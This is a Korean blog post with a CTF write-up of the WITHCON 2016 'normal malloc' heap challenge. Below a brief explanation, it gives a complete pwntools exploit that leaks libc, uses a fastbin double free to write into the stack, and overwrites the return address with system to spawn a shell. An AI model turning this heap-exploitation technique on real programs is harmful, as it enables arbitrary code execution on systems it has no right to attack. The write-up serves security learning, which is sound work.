[WITHCON 2016] normal malloc

2019. 2. 26. 17:09·PWN/CTF
728x90

memset 해야하는데 3번째 인자를 strlen으로 얻은 길이를 사용한다 ㅡ.ㅡ 그래서 자꾸 널이 짤려서 heap에다가 system(bin_sh)를 하려고 했는데 못했다 ㅠㅠ 마지막에 fastbin dup into stack으로 ret을 덮었는데 확인해보니 rdi에 입력값이 들어가있었다!! 그래서 "/bin/sh;" + "A"*16 을 한뒤 ret을 system으로 덮으니 쉘이 따졌다!!!


from pwn import *

s = process("./normal_malloc")
elf = ELF("./normal_malloc")
libc = ELF("./libc.so")

def malloc(size,content):
    s.recvuntil("> ")
    s.sendline("1")
    s.recvuntil("size :")
    s.sendline(str(size))
    s.recvuntil("data : ")
    s.send(content)

def free(index):
s.recvuntil("> ")
s.sendline("2")
    s.recvuntil("free : ")
    s.sendline(str(index))

def lists(index):
s.recvuntil("> ")
s.sendline("3")
    s.recvuntil("see : ")
    s.sendline(str(index))


def modify(index,content):
s.recvuntil("> ")
s.sendline("4")
    s.recvuntil("modify : ")
    s.sendline(str(index))
    s.recvuntil("data : ")
    s.send(content)
    

def quit():
s.recvuntil("> ")
s.sendline("5")


lists(7)
s.recvuntil("Address : ")
leak = int(s.recv(14),16) - 240
libc_base = leak - libc.symbols['__libc_start_main']
print "libc_base : " + hex(libc_base)
one_shot = libc_base + 0x45216
bin_sh = libc_base + next(libc.search("/bin/sh\0"))
system = libc_base + libc.symbols['system']
print "one_shot : " + hex(one_shot)
print "bin_sh : " + hex(bin_sh)
print "system : " + hex(system)
lists(9)
s.recvuntil("Address : ")
fangfang = int(s.recv(14),16)
print "hehe : " + hex(fangfang)
fake = fangfang - 0x140
print "fake : " + hex(fake)


malloc(32,"A"*8)
malloc(32,"B"*8)

free(1)
free(2)
free(1)

modify(1,p64(fake-8))
malloc(32,"D"*8)
malloc(49,"/bin/sh;"+"A"*16+p64(system))

s.interactive()


저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[RCTF 2018] babyheap  (0) 2019.08.14
[HITCON 2016] house_of_orange  (0) 2019.08.13
[WITHCON 2016] malloc  (0) 2019.02.26
[Hackingcamp 19] ucanfind  (0) 2019.02.20
[Hackingcamp 19] guess  (0) 2019.02.20
'PWN/CTF' 카테고리의 다른 글
  • [RCTF 2018] babyheap
  • [HITCON 2016] house_of_orange
  • [WITHCON 2016] malloc
  • [Hackingcamp 19] ucanfind
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[WITHCON 2016] normal malloc
상단으로

티스토리툴바